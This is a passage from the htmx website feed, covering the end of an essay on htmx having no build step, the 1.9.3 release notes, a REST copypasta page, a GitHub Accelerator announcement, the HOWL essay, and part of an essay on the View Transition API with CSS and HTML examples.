<p>Because htmx maintains support for Internet Explorer 11, and because it does not have a build step, every line of htmx has to be written in IE11-compatible JavaScript, which means no <a rel="noopener" target="_blank" href="https://262.ecma-international.org/6.0/">ES6</a>. When people like me say that JavaScript is pretty good now, they are usually referring to language features that were introduced with ES6, like <code>async/await</code>, anonymous functions, and functional array methods (i.e. <code>.map</code>, <code>.forEach</code>)—none of which can be used in the htmx source.</p>
<p>While this is incredibly annoying, in practice it is not a huge impediment. The lack of some nice language features doesn’t prevent you from writing code with functional paradigms. Would it be nice not to write a custom <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/blob/b4a61c543b283eb2315a47708006783efb78f563/src/htmx.js#L375-L381">forEach method</a>? Of course. But until all the browsers targeted by htmx support ES6, it’s not hard to supplement ES5 with a few helper functions. If you are used to ES6, you will automatically write better ES5.</p>
<p>IE11 support is going to be dropped in htmx 2.0, at which point ES6 will be allowed in the source code.</p>
<h2 id="no-modules-in-core"><a class="zola-anchor" href="#no-modules-in-core" aria-label="Anchor link for: no-modules-in-core">#</a>No modules in core</h2>
<p>This point is obvious, but it’s worth re-stating: the htmx source would be a lot tidier if it could be split it into modules. There are other factors that affect code quality <a rel="noopener" target="_blank" href="https://www.steveonstuff.com/2022/01/27/no-such-thing-as-clean-code">besides tidiness</a>, but to the extent that the htmx source is high-quality, it is not because it is tidy.</p>
<p>This makes doing certain things with htmx very difficult. The <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/idiomorph">idiomorph algorithm</a> might be included in the htmx 2.0 core, but it’s also maintained as a separate package so that people can use the DOM-morphing algorithm without using htmx. If the core could include multiple files, one could easily accomplish this with any number of mirroring schemes, such as git submodules. But the core is a single file, so the idiomorph code will have to live there as well.</p>
<h1 id="final-thoughts"><a class="zola-anchor" href="#final-thoughts" aria-label="Anchor link for: final-thoughts">#</a>Final Thoughts</h1>
<p>This essay might be better titled “Why htmx Doesn’t Have a Build Step <em>Right Now</em>.” As previously mentioned, circumstances change and these tradeoffs can be revisited at any time! One issue we’re exploring at the moment has to do with releases. When htmx cuts releases, it uses a few different shell commands to populate the <code>dist</code> directory with minified and compressed versions of <code>htmx.js</code> (pedants are welcome to point out that this is obviously, in some sense, a build step). In the future, we might expand that script to auto-generate the <a rel="noopener" target="_blank" href="https://github.com/umdjs/umd">Universal Module Definition</a>. Or we might have new distribution needs that require an even more involved setup. Who knows!</p>
<p>One of the core values of htmx is that it gives you <em>choice</em> in a web development ecosystem that has for the last decade been dominated by an increasingly complex JavaScript stack. Once you no longer have an enormous codebase of frontend JavaScript, there is far less pressure to adopt JavaScript on the backend. You can write backends in Python, Go, even NodeJS, and it doesn’t matter to htmx—every mainstream language has mature solutions for formatting HTML. This is the principle of <a rel="noopener" target="_blank" href="https://htmx.org/essays/hypermedia-on-whatever-youd-like/">Hypermedia On Whatever you’d Like (HOWL)</a>.</p>
<p>Writing JavaScript with no build process is one of the options available to you once you no longer require NextJS or SvelteKit to manage the spiraling complexity of SPA frameworks. That choice makes sense for htmx development today, and it may or may not make sense for your app too.</p>
htmx 1.9.3 has been released!2023-07-14T00:00:00+00:002023-07-14T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-07-14-htmx-1-9-3-is-released/<h2 id="htmx-1-9-3-release">htmx 1.9.3 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.9.3/">1.9.3 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>The <code>hx-on</code> attribute has been deprecated (sorry) in favor of <code>hx-on:<event name></code> attributes. See <a href="/attributes/hx-on"><code>hx-on</code></a> for more information.</li>
<li>You can now configure if a type of HTTP request uses the body for parameters or not. In particular, the <code>DELETE</code> <em>should</em> use
query parameters, according to the spec. htmx has used the body, instead. To avoid breaking code we are keeping this undefined
behavior for now, but allowing people to fix it for their use cases by updating the <code>htmx.config.methodsThatUseUrlParams</code> config
option. Thank you to Alex and Vincent for their feedback and work on this issue!</li>
<li>The <code>this</code> symbol is now available in event filter expressions, and refers to the element the <code>hx-trigger</code> is on</li>
<li>The <code>HX-Reselect</code> HTTP response header has been added to change the selection from the returned content</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>We now have functioning CI using GitHub actions!</li>
<li>Fix bug where the <code>htmx:afterSettle</code> event was raised multiple times with oob swaps occurred</li>
<li>A large number of accessibility fixes were made in the docs (Thank you Denis & crew!)</li>
<li>Fixed bug w/ WebSocket extension initialization caused by “naked” <code>hx-trigger</code> feature</li>
<li>Many other smaller bug fixes</li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
REST Copypasta2023-06-26T00:00:00+00:002023-06-26T00:00:00+00:00Unknownhttps://htmx.org/essays/rest-copypasta/<h2 id="rest-copy-pastas"><a class="zola-anchor" href="#rest-copy-pastas" aria-label="Anchor link for: rest-copy-pastas">#</a>REST copy-pastas</h2>
<h2 id="ackshually"><a class="zola-anchor" href="#ackshually" aria-label="Anchor link for: ackshually">#</a>Ackshually…</h2>
<div style="font-family: monospace">
<p>I’d just like to interject for a moment. What you’re referring to as REST,
is in fact, JSON/RPC, or as I’ve recently taken to calling it, REST-less.
JSON is not a hypermedia unto itself, but rather a plain data format made
useful by out of band information as defined by swagger documentation or
similar.</p>
<p>Many computer users work with a canonical version of REST every day,
without realizing it. Through a peculiar turn of events, the version of REST
which is widely used today is often called “The Web”, and many of its users are
not aware that it is basically the REST-ful architecture, defined by Roy Fielding.</p>
<p>There really is a REST, and these people are using it, but it is just a
part of The Web they use. REST is the network architecture: hypermedia encodes the state
of resources for hypermedia clients. JSON is an essential part of Single Page Applications,
but useless by itself; it can only function in the context of a complete API specification.
JSON is normally used in combination with SPA libraries: the whole system
is basically RPC with JSON added, or JSON/RPC. All these so-called “REST-ful”
APIs are really JSON/RPC.</p>
</div>
<button _="on click
get the innerText of the previous <div/>
then writeText(the result) with the navigator's clipboard
put 'Copied!' into the next <output/>
wait 2s
put '' into the next <output/>">
Copy
</button>
<button _="on click
get the innerText of the previous <div/>
get result.split('\n').map( \ l -> ' ' + l ).join('\n')
then writeText(the result) with the navigator's clipboard
put 'Copied for HN!' into the next <output/>
wait 2s
put '' into the next <output/>">
Copy For HN
</button>
<output></output>
<br/>
<h2 id="l0-t0-the-c-0thtrkhr"><a class="zola-anchor" href="#l0-t0-the-c-0thtrkhr" aria-label="Anchor link for: l0-t0-the-c-0thtrkhr">#</a>l໐, t໐ thē ¢໐ຖtrคrฯ</h2>
<div style="font-family: monospace">
<p>In a world of digital wonder, allow me to take a moment to clarify. What many name as REST is, in truth, JSON/RPC, or as
I’ve lately begun to refer to it, the REST-less. JSON is not a magical script unto itself, but rather a simple parchment
of data made meaningful by wisdom from unseen sources, shaped by the likes of the Swagger tomes and their ilk.</p>
<p>Countless keepers of the code interact with a revered form of REST each day, oblivious to its presence. Through an
unexpected twist of fate, the interpretation of REST most commonly employed today is frequently dubbed “The Web”, and
many of its inhabitants are unaware that they are, in essence, dwelling within the architectural dominion of REST, as
laid out by the sage Roy Fielding.</p>
<p>Indeed, there exists a true REST, and these individuals are making use of it, but it is merely a facet of The Web they
engage with. REST is the great network architecture: hypermedia inscribes the state of resources for the hypermedia
voyagers. JSON is a vital element of Single Page Applications, yet worthless in solitude; it can only exhibit its power
within the realm of a comprehensive API specification. JSON is typically deployed in alliance with SPA libraries: the
entire realm is fundamentally RPC embellished with JSON, or JSON/RPC. All these entities hailed as “REST-ful” APIs are
in actuality, the embodiment of JSON/RPC.</p>
</div>
<button _="on click
get the innerText of the previous <div/>
then writeText(the result) with the navigator's clipboard
put 'Copied!' into the next <output/>
wait 2s
put '' into the next <output/>">
Copy
</button>
<button _="on click
get the innerText of the previous <div/>
get result.split('\n').map( \ l -> ' ' + l ).join('\n')
then writeText(the result) with the navigator's clipboard
put 'Copied for HN!' into the next <output/>
wait 2s
put '' into the next <output/>">
Copy For HN
</button>
<output></output>
htmx is part of the GitHub Accelerator!2023-06-06T00:00:00+00:002023-06-06T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-06-06-htmx-github-accelerator/<p>We are excited to announce that htmx has been accepted into the first class of the
<a rel="noopener" target="_blank" href="https://accelerator.github.com/">GitHub Open Source Accelerator</a>! This is a tremendous opportunity to work with and
learn from some of the most successful open source developers and projects, and a great chance to get the message
out about hypermedia and htmx.</p>
<p>We plan on using this opportunity to begin work on htmx 2.0 and, we hope, possibly learn how to make working on htmx
a full time job!</p>
<p>Here are some of the other open source projects that we have met through the GitHub accelerator and that we recommend
people check out:</p>
<ul>
<li><a href='https://boxyhq.com'>BoxyHQ</a> - BoxyHQ’s suite of APIs for security and privacy helps engineering teams build and ship compliant cloud applications faster.</li>
<li><a href='https://cal.com'>Cal.com</a> - Cal.com is a scheduling tool that helps you schedule meetings without the back-and-forth emails.</li>
<li><a href='https://www.crowd.dev'>Crowd.dev</a> - Centralize community, product, and customer data to understand which companies are engaging with your open source project.</li>
<li><a href='https://documenso.com'>Documenso</a> - The Open-Source DocuSign Alternative. We aim to earn your trust by enabling you to self-host the platform and examine its inner workings.</li>
<li><a href='https://erxes.io'>Erxes</a> - The Open-Source HubSpot Alternative. A single XOS enables to create unique and life-changing experiences that work for all types of business.</li>
<li><a href='https://formbricks.com'>Formbricks</a> - Survey granular user segments at any point in the user journey. Gather up to 6x more insights with targeted micro-surveys. All open-source.</li>
<li><a href='https://forwardemail.net'>Forward Email</a> - Free email forwarding for custom domains. For 6 years and counting, we are the go-to email service for thousands of creators, developers, and businesses.</li>
<li><a href='https://gitwonk.com'>GitWonk</a> - GitWonk is an open-source technical documentation tool, designed and built focusing on the developer experience.</li>
<li><a href='https://www.hanko.io'>Hanko</a> - Open-source authentication and user management for the passkey era. Integrated in minutes, for web and mobile apps.</li>
<li><a href='https://infisical.com'>Infisical</a> - Open source, end-to-end encrypted platform that lets you securely manage secrets and configs across your team, devices, and infrastructure.</li>
<li><a href='https://novu.co'>Novu</a> - The open-source notification infrastructure for developers. Simple components and APIs for managing all communication channels in one place.</li>
<li><a href='https://openbb.co'>OpenBB</a> - Democratizing investment research through an open source financial ecosystem. The OpenBB Terminal allows everyone to perform investment research, from everywhere.</li>
<li><a href='https://www.sniffnet.net'>Sniffnet</a> - Sniffnet is a network monitoring tool to help you easily keep track of your Internet traffic.</li>
<li><a href='https://typebot.io'>Typebot</a> - Typebot gives you powerful blocks to create unique chat experiences. Embed them anywhere on your apps and start collecting results like magic.</li>
<li><a href='https://www.webiny.com'>Webiny</a> - Open-source enterprise-grade serverless CMS. Own your data. Scale effortlessly. Customize everything.</li>
<li><a href='https://webstudio.is'>Webstudio</a> - Webstudio is an open source alternative to Webflow</li>
</ul>
Hypermedia On Whatever you'd Like2023-05-23T00:00:00+00:002023-05-23T00:00:00+00:00Unknownhttps://htmx.org/essays/hypermedia-on-whatever-youd-like/<blockquote>
<p>The one big remaining (advantage of MPAs) is (server side programming) language choice. If you’re already part of the
anti-JavaScript resistance, then nothing I say in the rest of this talk is going to matter that much. </p>
<p>But, I’m going to get into this later: that ship might have sailed…</p>
<p>Rich Harris - <a rel="noopener" target="_blank" href="https://youtubetranscript.com/?v=860d8usGC0o&t=440">Have SPA’s Ruined The Web?</a></p>
</blockquote>
<p>A concept we like to talk about is “The HOWL Stack”. HOWL stands for <em>Hypermedia On Whatever you’d Like</em>.</p>
<p>This is a joke-but-not-really <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Solution_stack">software stack</a>, and a reference to more
well known stacks like <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29">The LAMP Stack</a>
or <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/MEAN_(solution_stack)">The MEAN Stack</a>.</p>
<p>The TLDR of The HOWL Stack is this: when you use a <a href="/essays/hypermedia-driven-applications">hypermedia-driven approach</a>
for your web application, you free yourself up to choose <em>whatever</em> server-side technology best fits your problem and
your own technical tastes.</p>
<h2 id="feeling-the-javascript-pressure"><a class="zola-anchor" href="#feeling-the-javascript-pressure" aria-label="Anchor link for: feeling-the-javascript-pressure">#</a>Feeling The JavaScript Pressure</h2>
<p>If you decide to use an SPA framework for your web application you will, naturally, have a large front-end codebase
that is written in JavaScript. </p>
<p>Given that, the following question inevitably will come up:</p>
<blockquote>
<p>“Well, why aren’t we doing the back-end in JavaScript too?”</p>
</blockquote>
<p>This is a reasonable question to ask and there are a lot of advantages to adopting the same programming language on both
sides of the wire:</p>
<ul>
<li>You can share application logic between the two code-bases. A good example here is validation logic.</li>
<li>You can share data structures between the two code-bases. </li>
<li>You can build up expertise in a single language, JavaScript, making it easier for developers to work in various parts
of your application.</li>
<li>You can reuse the build system & dependency management knowledge you’ve acquired for the front end</li>
</ul>
<p>This <em>pressure</em> to adopt JavaScript will only grow as your investment in the JavaScript front end ecosystem grows.</p>
<p>Furthermore, JavaScript has improved dramatically in the last five years and there are now multiple excellent
server-side runtimes for executing it. Many of the older arguments about the messiness of the language can be
waved off as preventable via linting, developer discipline, and so forth.</p>
<p>JavaScript is the dominant language among the web development thought leaders and there are massive numbers of tutorials,
code camps, etc. that strongly emphasize the language. Nothing succeeds like success, and JavaScript (as well as React)
have succeeded.</p>
<p>Let’s call the result of this <em>The JavaScript Pressure</em> and acknowledge that nearly every developer working with the
web feels it at least to some extent.</p>
<h2 id="hypermedia-our-only-hope"><a class="zola-anchor" href="#hypermedia-our-only-hope" aria-label="Anchor link for: hypermedia-our-only-hope">#</a>Hypermedia: Our Only Hope</h2>
<p>What hope do non-JavaScript developers have in web development?</p>
<p>Well, there is one older technology sitting there in the browser alongside JavaScript: <em>hypermedia</em>.</p>
<p>Browsers offer excellent HTML support (and the related Document Object Model, or DOM). In fact, even if you are using an
SPA framework, you will be working with that hypermedia infrastructure in some form (via JSX templates, for example) if
only to create UIs that a browser can understand.</p>
<p>So you are going to be using HTML or the related DOM APIs in some manner in your web application.</p>
<p>Well, what if we made HTML a more powerful hypermedia?</p>
<p>That’s the idea of <a href="/">htmx</a>, which makes it possible to implement <a href="/examples">common modern web application patterns</a>
using the hypermedia approach. This closes the UX gap between traditional MPAs and SPAs, making taking the hypermedia
route feasible for a much larger set of web applications.</p>
<p>Once you adopt this hypermedia approach (and remember, you are going to be using hypermedia infrastructure <em>anyway</em>,
so why not leverage it as much as possible?) a surprising side effect occurs:</p>
<p>Suddenly, the advantage of server-side language choice that Harris attributed to MPAs is <em>back on the table</em>.</p>
<p>If your application’s front end is mainly written in terms of HTML, maybe with a bit of client-side scripting,
and with no large JavaScript code-base, you’ve suddenly dramatically diminished (or entirely eliminated) The JavaScript
Pressure on the back end.</p>
<p>You can now make your server-side language (and framework) choice based on other considerations: technical, aesthetic or
otherwise:</p>
<ul>
<li>Perhaps you are working in AI and want to use a Lisp variant for your project</li>
<li>Perhaps you are working in big data and want to use Python</li>
<li>Perhaps you know Django really well and love the batteries-included approach it takes</li>
<li>Perhaps you prefer Flask and the stripped-down approach it takes</li>
<li>Perhaps you like the raw, close-to-the-HTML feel of PHP </li>
<li>Perhaps you have an existing Java codebase that needs some sprucing up</li>
<li>Perhaps you are learning Cobol, <a rel="noopener" target="_blank" href="https://twitter.com/htmx_org/status/1656381761188954113">and want to use htmx to make a nice front end for it</a>.</li>
<li>Perhaps you just really like Rust, Ocaml, Kotlin, Haskell, .NET, Clojure, Ada, ColdFusion, Ruby… whatever!</li>
</ul>
<p>These are all perfectly reasonable technical, philosophical and aesthetic perspectives.</p>
<p>And, by adopting hypermedia as your primary front-end technology, you pursue any of these goals without a bicameral
code-base. Hypermedia doesn’t care what you use to produce it: you can use hypermedia on whatever you’d like.</p>
<h2 id="an-open-web-for-everyone"><a class="zola-anchor" href="#an-open-web-for-everyone" aria-label="Anchor link for: an-open-web-for-everyone">#</a>An Open Web for Everyone</h2>
<p>And when we say “whatever”, we really mean it.</p>
<p>Here is a screenshot of the <a href="/discord">htmx discord</a>’s HOWL subsection recently. Note that these are just the channels
that happen to have active traffic, there are many more.</p>
<div style="text-align: center; padding: 16px">
<img src="/img/howl-channels.png">
</div>
<p>You can see we have ongoing conversations in a bunch of different programming languages and frameworks: Java, Go, .NET,
Rust, Clojure, PHP, Ruby, Python, Ocaml. We even have some folks talking about using htmx with Bash and Cobol!</p>
<p>This is exactly the future that we want to see: a rich and vibrant Web in which <em>every</em> back-end language and framework
can play as an equal & interesting alternative. Each language and framework has their own unique strengths & cultures and
each can contribute to the magical <a rel="noopener" target="_blank" href="https://hypermedia.systems">hypermedia system</a> that is The Web.</p>
<h2 id="but-is-it-an-anti-javascript-resistance"><a class="zola-anchor" href="#but-is-it-an-anti-javascript-resistance" aria-label="Anchor link for: but-is-it-an-anti-javascript-resistance">#</a>But, Is it An <em>Anti</em>-JavaScript Resistance?</h2>
<p>Before we finish this essay, we do want to address the idea that the resistance to JavaScript <em>everywhere</em> is necessarily
<em>Anti</em>-JavaScript.</p>
<p>Now, admittedly, we have laughed at our fair share of <a href="/img/js-the-good-parts.jpeg">jokes about JavaScript</a>, and we have
gone so far as to create an alternative scripting language for the web, <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a>.</p>
<p>So it might seem like we should be card-carrying anti-javascriptites.</p>
<p>But, to the contrary, we are deeply appreciative of JavaScript.</p>
<p>After all, both htmx and hyperscript are <em>built in JavaScript</em>. We couldn’t have created these libraries without
JavaScript, which, whatever else one might say, has the great virtue of <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Being_There"><em>being there</em></a>.</p>
<p>And we even go so far as to <em>recommend using</em> JavaScript for front-end scripting needs in a hypermedia-driven
application, so long as you script in a <a href="/essays/hypermedia-friendly-scripting/">hypermedia-friendly</a> way.</p>
<p>Further, we wouldn’t steer someone away from using JavaScript (or TypeScript) on the <em>server side</em> for a
hypermedia-driven application, if that language is the best option for your team. As we said earlier, JavaScript now
has multiple excellent server-side runtimes and many excellent server-side libraries available.</p>
<p>It might be the best option for you and your team, and there is no reason not to use it in that case.</p>
<p>Hypermedia On Whatever you’d Like means just that: whatever you’d like.</p>
<p>But JavaScript is not, and it should not be, the <em>only</em> server-side option for your team.</p>
<h2 id="turning-the-ship-around"><a class="zola-anchor" href="#turning-the-ship-around" aria-label="Anchor link for: turning-the-ship-around">#</a>Turning The Ship Around</h2>
<p>With the resurgence of interest in (and improvements of) hypermedia, an open and diverse future for The Web is now a
real possibility, if not an emerging reality.</p>
<p>The Web was designed to be an open, polyglot & participative hypermedia system.</p>
<p>And the ship <em>hasn’t sailed</em> on that dream, at least not yet!</p>
<p>We can keep that dream alive by re-learning and re-embracing the foundational technology of the web: hypermedia.</p>
<blockquote>
<p>I hate that the htmx community has devolved into builders helping each other without regard for likes, engaging
those who don’t follow the hype, expanding sound bytes into nuance. It may not score cheap social media points, but
it’s healthy. The web used to be worse than this.</p>
<p><a rel="noopener" target="_blank" href="https://twitter.com/teej_dv/status/1655668643840098304">@teej_dv</a></p>
</blockquote>
View Transitions2023-04-11T00:00:00+00:002023-04-11T00:00:00+00:00Unknownhttps://htmx.org/essays/view-transitions/<p>We have asserted, for a while now, that a major reason that many people have adopted the SPA architecture for web applications
is due to aesthetic considerations. </p>
<p>As we mention in our book <a rel="noopener" target="_blank" href="https://hypermedia.systems">Hypermedia Systems</a>, when
discussing the Web 1.0-style contact management application we begin with, there are serious <em>aesthetic</em> issues with
the application, even if it has feature-parity with an SPA version:</p>
<blockquote>
<p>From a user experience perspective: there is a noticeable refresh when you move between pages of the application, or when you create, update or
delete a contact. This is because every user interaction (link click or form submission) requires a full page
refresh, with a whole new HTML document to process after each action.</p>
<p><em>–Hypermedia Systems - <a rel="noopener" target="_blank" href="https://hypermedia.systems/book/extending-html-as-hypermedia/">Chapter 5</a></em></p>
</blockquote>
<p>This jarring “ka-chunk” between webpages, often with a <a rel="noopener" target="_blank" href="https://webkit.org/blog/66/the-fouc-problem/">Flash of Unstyled Content</a>
has been with us forever and, while modern browsers have improved the situation somewhat (while, unfortunately, also making
it less obvious that a request is in flight) the situation is still bad, particularly when compared with what a well-crafted
SPA can achieve.</p>
<p>Now, early on in the life of the web, this wasn’t such a big deal. We had stars flying around dinosaurs <em>in the browser’s toolbar</em>,
flaming text, table-based layouts, dancing babies and so forth, and we were largely comparing the web with things like
ftp clients.</p>
<p>The bar was <em>low</em> and the times were <em>good</em>.</p>
<p>Alas, the web has since put away such childish things, and now we are expected to present polished, attractive interfaces
to our users, <em>including</em> smooth transitions from one view state to another.</p>
<p>Again, we feel this is why many teams default to the SPA approach: the old way just seems… clunky.</p>
<h2 id="css-transitions"><a class="zola-anchor" href="#css-transitions" aria-label="Anchor link for: css-transitions">#</a>CSS Transitions</h2>
<p>The early web engineers realized that web developers would like to provide smooth transitions between different view states
and have offered various technologies for achieving this. A major one is <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/CSS/transition">CSS Transitions</a>,
which allow you to specify a mathematical <em>transition</em> from one state to another.</p>
<p>Unfortunately for HTML, CSS transitions are only available if you use JavaScript: you have to change elements dynamically
in order to trigger the transitions, which “vanilla” HTML can’t do. In practice, this meant that only the cool kids
using JavaScript to build SPAs got to use these tools, further cementing the <em>aesthetic superiority</em> of SPAs.</p>
<p>htmx, as you probably know, makes CSS Transitions <a rel="noopener" target="_blank" href="https://htmx.org/examples/animations/">available in plain HTML</a> via
a somewhat elaborate <a rel="noopener" target="_blank" href="https://htmx.org/docs/#request-operations">swapping model</a> where we take elements that are in both
the old and new content and “settle” attributes on them. It’s a neat trick and can be used to make hypermedia-driven
application feel as buttery-smooth as well done SPA.</p>
<p>However, there is a new kid on the block: <a rel="noopener" target="_blank" href="https://developer.chrome.com/docs/web-platform/view-transitions/">The View Transition API</a></p>
<h2 id="the-view-transition-api"><a class="zola-anchor" href="#the-view-transition-api" aria-label="Anchor link for: the-view-transition-api">#</a>The View Transition API</h2>
<p>The View Transition API is much more ambitious than CSS transitions in that it is attempting to provide a simple, intuitive
API for transitioning an <em>entire DOM</em> from one state to another in a way that mere mortals can take advantage of. </p>
<p>Furthermore, this API is supposed to be available not only in JavaScript, but also for plain old links and forms in HTML as well,
making it possible to build <em>much nicer</em> user interfaces using the Web 1.0 approach.</p>
<p>It will be fun to revisit the Contact application in “Hypermedia Systems” when this functionality is available!</p>
<p>As of this writing, however, the API is, like CSS Transitions, only available in JavaScript, and its only been just
released in Chrome 111+.</p>
<p>In JavaScript, The API could not be more simple:</p>
<pre data-lang="js" style="background-color:#1f2329;color:#abb2bf;" class="language-js "><code class="language-js" data-lang="js"><span>
</span><span> </span><span style="font-style:italic;color:#848da1;">// this is all it takes to get a smooth transition from one
</span><span> </span><span style="font-style:italic;color:#848da1;">// state to another!
</span><span> document.</span><span style="color:#61afef;">startViewTransition</span><span>(() </span><span style="color:#c678dd;">=> </span><span style="color:#61afef;">updateTheDOMSomehow</span><span>(</span><span style="color:#e06c75;">data</span><span>));
</span><span>
</span></code></pre>
<p>Now, that’s my kind of API.</p>
<p>As luck would have it, it’s trivial to wrap this API around the regular htmx swapping model, which allows us to
start exploring View Transitions in htmx, even before it’s generally available in HTML! </p>
<p>And, as of <a rel="noopener" target="_blank" href="https://unpkg.com/htmx.org@1.9.0">htmx 1.9.0</a>, you can start experimenting with the API by adding the
<code>transition:true</code> attribute to an <a href="/attributes/hx-swap"><code>hx-swap</code></a> attribute.</p>
<h2 id="a-practical-example"><a class="zola-anchor" href="#a-practical-example" aria-label="Anchor link for: a-practical-example">#</a>A Practical Example</h2>
<p>So let’s look at a simple example of this new shiny toy coupled with htmx.</p>
<p>Doing so will involve two parts: </p>
<ul>
<li>Defining our View Transition animation via CSS</li>
<li>Adding a small annotation to an htmx-powered button</li>
</ul>
<h3 id="the-css"><a class="zola-anchor" href="#the-css" aria-label="Anchor link for: the-css">#</a>The CSS</h3>
<p>The first thing that we need to do is define the View Transition animation that we want.</p>
<ul>
<li>Define some animations using @keyframes to slide and fade content</li>
<li>Define a view transition with the name <code>slide-it</code> using the <code>:view-transition-old()</code> and <code>:view-transition-new()</code> pseudo-selectors</li>
<li>Tie the <code>.sample-transition</code> class to the <code>slide-it</code> view transition that we just defined, so we can bind it to elements via a that CSS class name</li>
</ul>
<p>(Fuller details on the View Transition API can be found on the <a rel="noopener" target="_blank" href="https://developer.chrome.com/docs/web-platform/view-transitions/">Chrome Developer Page</a>
documenting them.)</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>
</span><span> <</span><span style="color:#e06c75;">style</span><span>>
</span><span> </span><span style="color:#c678dd;">@keyframes </span><span>fade-in {
</span><span> </span><span style="color:#c678dd;">from </span><span>{ opacity: </span><span style="color:#d19a66;">0</span><span>; }
</span><span> }
</span><span>
</span><span> </span><span style="color:#c678dd;">@keyframes </span><span>fade-out {
</span><span> </span><span style="color:#c678dd;">to </span><span>{ opacity: </span><span style="color:#d19a66;">0</span><span>; }
</span><span> }
</span><span>
</span><span> </span><span style="color:#c678dd;">@keyframes </span><span>slide-from-right {
</span><span> </span><span style="color:#c678dd;">from </span><span>{ transform: </span><span style="color:#56b6c2;">translateX</span><span>(</span><span style="color:#d19a66;">90px</span><span>); }
</span><span> }
</span><span>
</span><span> </span><span style="color:#c678dd;">@keyframes </span><span>slide-to-left {
</span><span> </span><span style="color:#c678dd;">to </span><span>{ transform: </span><span style="color:#56b6c2;">translateX</span><span>(</span><span style="color:#d19a66;">-90px</span><span>); }
</span><span> }
</span><span>
</span><span> </span><span style="font-style:italic;color:#848da1;">/* define animations for the old and new content */
</span><span> </span><span style="color:#d19a66;">::</span><span style="color:#c678dd;">view-transition-old(</span><span style="color:#e06c75;">slide-it</span><span>) {
</span><span> animation: </span><span style="color:#d19a66;">180ms </span><span style="color:#56b6c2;">cubic-bezier</span><span>(</span><span style="color:#d19a66;">0.4</span><span>, </span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#d19a66;">1</span><span>, </span><span style="color:#d19a66;">1</span><span>) both fade-out,
</span><span> </span><span style="color:#d19a66;">600ms </span><span style="color:#56b6c2;">cubic-bezier</span><span>(</span><span style="color:#d19a66;">0.4</span><span>, </span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#d19a66;">0.2</span><span>, </span><span style="color:#d19a66;">1</span><span>) both slide-to-left;
</span><span> }
</span><span> </span><span style="color:#d19a66;">::</span><span style="color:#c678dd;">view-transition-new(</span><span style="color:#e06c75;">slide-it</span><span>) {
</span><span> animation: </span><span style="color:#d19a66;">420ms </span><span style="color:#56b6c2;">cubic-bezier</span><span>(</span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#d19a66;">0.2</span><span>, </span><span style="color:#d19a66;">1</span><span>) </span><span style="color:#d19a66;">90ms </span><span>both fade-in,
</span><span> </span><span style="color:#d19a66;">600ms </span><span style="color:#56b6c2;">cubic-bezier</span><span>(</span><span style="color:#d19a66;">0.4</span><span>, </span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#d19a66;">0.2</span><span>, </span><span style="color:#d19a66;">1</span><span>) both slide-from-right;
</span><span> }
</span><span>
</span><span> </span><span style="font-style:italic;color:#848da1;">/* tie the view transition to a given CSS class */
</span><span> </span><span style="color:#d19a66;">.sample-transition </span><span>{
</span><span> view-transition-name: slide-it;
</span><span> }
</span><span>
</span><span> </</span><span style="color:#e06c75;">style</span><span>>
</span><span>
</span></code></pre>
<p>This CSS sets it up such that content with the <code>.sample-transition</code> class on it will fade out and slide to the left when
it is removed, and new content will fade in and slide in from the right.</p>
<h3 id="the-html"><a class="zola-anchor" href="#the-html" aria-label="Anchor link for: the-html">#</a>The HTML</h3>
<p>With our View Transition defined via CSS, the next thing to do is to tie this View Transition to an actual element that
htmx will mutate, and to specify that htmx should take advantage of the View Transition API:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"sample-transition"</span><span>>
</span><span> <</span><span style="color:#e06c75;">h1</span><span>>Initial Content</</span><span style="color:#e06c75;">h1</span><span>>
</span><span> <</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"/new-content"
</span><span> </span><span style="color:#d19a66;">hx-swap</span><span>=</span><span style="color:#98c379;">"innerHTML transition:true"
</span><span> </span><span style="color:#d19a66;">hx-target</span><span>=</span><span style="color:#98c379;">"closest div"</span><span>>
</span><span> Swap It!
</span><span> </</span><span style="color:#e06c75;">button</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span>
</span></code></pre>
<p>Here we have a button that issues an <code>GET</code> to get some new content, and that replaces the closest div’s inner HTML
with the response. </p>
<p>That div has the <code>sample-transition</code> class on it, so the View Transition defined above will apply to it. </p>
<p>Finally, the <code>hx-swap</code> attribute includes the option, <code>transition:true</code>, which is what tells htmx to use the
internal View Transition JavaScript API when swapping.</p>
<h2 id="demo"><a class="zola-anchor" href="#demo" aria-label="Anchor link for: demo">#</a>Demo</h2>
<p>With all that tied together, we are ready to start using the View Transition API with htmx. Here’s a demo, which
should work in Chrome 111+ (other browsers will work fine, but won’t get the nice animation):</p>
<style>
@keyframes fade-in {
from { opacity: 0; }
}
@keyframes fade-out {
to { opacity: 0; }
}
@keyframes slide-from-right {
from { transform: translateX(90px); }
}
@keyframes slide-to-left {
to { transform: translateX(-90px); }
}
/* define animations for the old and new content */
::view-transition-old(slide-it) {
animation: 180ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
